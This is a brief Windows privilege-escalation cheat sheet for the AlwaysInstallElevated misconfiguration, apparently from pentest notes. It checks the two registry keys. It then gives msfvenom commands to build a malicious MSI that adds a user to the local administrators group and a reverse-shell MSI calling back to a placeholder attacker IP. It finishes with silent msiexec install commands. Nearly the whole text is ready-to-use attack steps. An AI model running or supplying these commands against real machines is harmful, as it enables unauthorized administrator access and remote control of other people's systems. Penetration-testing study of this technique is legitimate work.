Always Install Elevated

Always Install Elevated

Check with:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

From the output, notice that "AlwaysInstallElevated" value is 1. This needs to be on both to be exploited.


# Generate payload to add user to admin group
msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f msi-nouac -o setup.msi


# Create a reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f msi -o reverse.msi

# Run it on the target machine:
msiexec /quiet /qn /i setup.msi 
msiexec /quiet /qn /i reverse.msi        <--- Needs a netcat listener

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